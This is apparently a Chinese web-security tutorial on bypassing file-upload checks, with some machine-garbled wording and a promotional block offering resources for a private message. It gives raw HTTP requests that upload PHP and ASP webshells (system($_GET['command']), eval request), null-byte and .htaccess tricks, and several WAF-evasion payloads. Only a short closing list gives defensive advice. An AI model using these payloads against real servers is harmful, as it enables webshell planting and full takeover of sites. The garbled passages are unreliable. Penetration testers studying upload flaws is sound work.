<?php if($_FILES['userfile']['type'] != "image/gif") #这里对上传的文件类型进行判断,如果不是image/gif类型便返回缺点。 { echo "Sorry, we only allow uploading GIF images"; exit; } $uploaddir = 'uploads/'; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { echo "File is valid, and was successfully uploaded.\n"; } else { echo "File uploading failed.\n"; } ?>
可以看到代码对上传文件的文件类型进行了判断,如果不是图片类型,返回缺点。
【一>所有资源关注我,私信回答“资料”获取<一】1、200多本网络安全系列电子书(该有的都有了)2、全套工具包(最全中文版,想用哪个用哪个)3、100份src源码技能文档(项目学习一直,实践得真知)4、网络安全根本入门、Linux、web安全、攻防方面的视频(2021最新版)5、网络安全学习路线(告别不入流的学习)6、ctf夺旗赛解析(题目解析实战操作)2.2 文件头校验可以通过自己写正则匹配,判断文件头内容是否符合哀求,这里举几个常见的文件头对应关系:(1) .JPEG;.JPE;.JPG,”JPGGraphic File”(2) .gif,”GIF 89A”(3) .zip,”Zip Compressed”(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”
可以利用burp抓包改包,先上传一个gif类型的木马,然后通过burp将其改为asp/php/jsp后缀名即可。

我们可以通过抓包,将content-type字段改为image/gif
POST /upload.php HTTP/1.1TE: deflate,gzip;q=0.3Connection: TE, closeHost: localhostUser-Agent: libwww-perl/5.803Content-Type: multipart/form-data; boundary=xYzZYContent-Length: 155--xYzZYContent-Disposition: form-data; name="userfile"; filename="shell.php"Content-Type: image/gif (原为 Content-Type: text/plain) <?php system($_GET['command']);?> --xYzZY-
2.2 文件头绕过
在木马内容根本上再加了一些文件信息,有点像下面的构造GIF89a<?php phpinfo(); ?>
2.3 文件后缀名绕过条件:黑名单校验黑名单检测:一样平常有个专门的 blacklist 文件,里面会包含常见的危险脚本文件。绕过方法:(1)找黑名单扩展名的漏网之鱼 - 比如 asa 和 cer 之类(2)可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类能被解析的文件扩展名列表:jsp jspx jspfasp asa cer aspxphp php php3 php4exe exee
3.合营文件包含漏洞条件:校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马。绕过办法:(这里拿php为例,此漏洞紧张存在于PHP中)(1)先上传一个内容为木马的txt后缀文件,由于后缀名的关系没有考验内容;(2)然后再上传一个.php的文件,内容为<?php Include(“上传的txt文件路径”);?>此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举包含的语法:
#PHP <?php Include("上传的txt文件路径");?> #ASP <!--#include file="上传的txt文件路径" --> #JSP <jsp:inclde page="上传的txt文件路径"/> or <%@include file="上传的txt文件路径"%>
4.合营做事器解析漏洞
http://www.cnblogs.com/shellr00t/p/6426856.html
5.合营操作系统文件命令规则(1)上传不符合windows文件命名规则的文件名 test.asp. test.asp(空格) test.php:1.jpg test.php::DATA shell.php::DATA shell.php::DATA…….会被windows系统自动去掉不符合规则符号后面的内容。(2)linux下后缀名大小写在linux下,如果上传php不被解析,可以试试上传pHp后缀的文件名。
6.CMS、编辑器漏洞(1)CMS漏洞:比如说JCMS等存在的漏洞,可以针对不同CMS存在的上传漏洞进行绕过。(2)编辑器漏洞:比如FCK,ewebeditor等,可以针对编辑器的漏洞进行绕过。
7.合营其他规则(1)0x00截断:基于一个组合逻辑漏洞造成的,常日存在于布局上传文件路径的时候
test.php(0x00).jpg test.php%00.jpg 路径/upload/1.php(0x00),文件名1.jpg,结合/upload/1.php(0x00)/1.jpg
伪代码演示:
name= getname(httprequest) //如果这时候获取到的文件名是 help.asp.jpg(asp 后面为 0x00)type =gettype(name) //而在 gettype()函数里处理办法是从后往前扫描扩展名,以是判断为 jpgif(type == jpg) SaveFileToPath(UploadPath.name, name) //但在这里却是以 0x00 作为文件名截断//末了以 help.asp 存入路径里
(2).htaccesss
上传当前目录的.htaccess 文件
例如内容为: AddType application/x-http-php .jpg (上传的jpg 均以php实行)
把.htaccess 上传后,且上传成功后,再上传内容为一句话的jpg文件
8.WAF绕过8.1 垃圾数据有些主机WAF软件为了不影响web做事器的性能,会对校验的用户数据设置大小上限,比如1M。此种情形可以布局一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验;
当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。
可以将垃圾数据加上Content-Disposition参数后面,参数内容过长,可能会导致waf检测出错。
8.2 filename针对早期版本安全狗,可以多加一个filename
或者将filename换位置,在IIS6.0下如果我们换一种书写办法,把filename放在其他地方:
8.3 POST/GET
有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。此种情形可以上传一个POST型的数据包,抓包将POST改为GET。
8.4 以上办法针对WAF,以上先容的做事器解析漏洞、文件包含漏洞等都可以考试测验绕过。
8.5 利用waf本身毛病删除实体里面的Conten-Type字段第一种是删除Content整行,第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要把稳额,双引号要随着c.php。
正常包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png布局包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.pngC.php"
删除Content-Disposition字段里的空格
增加一个空格导致安全狗被绕过案列:
Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099考试测验在boundary后面加个空格或者其他可被正常处理的字符:boundary= —————————47146314211411730218525550
修正Content-Disposition字段值的大小写
每次文件上传时的Boundary边界都是同等的:
Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099Content-Length: 253-----------------------------4714631421141173021852555099Content-Disposition: form-data; name="file1"; filename="shell.asp"Content-Type: application/octet-stream <%eval request("a")%> -----------------------------4714631421141173021852555099--</pre>
但如果容器在处理的过程中并没有严格哀求同等的话可能会导致一个问题,两段Boundary不一致使得waf认为这段数据是无意义的,可是容器并没有那么严谨:
Win2k3 + IIS6.0 + ASP
文件名处回车
多个Content-Disposition
在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为吸收参数,而如果waf只是取末了一个的话便会被绕过,Win2k8 + IIS7.0 + PHP
利用NTFS ADS特性
ADS是NTFS磁盘格式的一个特性,用于NTFS交流数据流。在上传文件时,如果waf对要求正文的filename匹配不当的话可能会导致绕过
文件重命名绕过
如果web程序会将filename除了扩展名的那段重命名的话,那么还可以布局更多的点、符号等等。
分外的长文件名绕过文件名利用非字母数字,比如中文等最大程度的拉长,弗成的话再结合一下其他的特性进行测试:
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg
反删除
将file1改成了file4,这样就不会把这个文件删除了。(JCMS漏洞)
文件校验的几点建议文件扩展名做事端白名单校验。文件内容做事端校验。上传文件重命名。隐蔽上传文件路径。以上几点,可以防御绝大多数上传漏洞,但是须要跟做事器容器结合起来。如果解析漏洞依然存在,那么没有绝对的安全。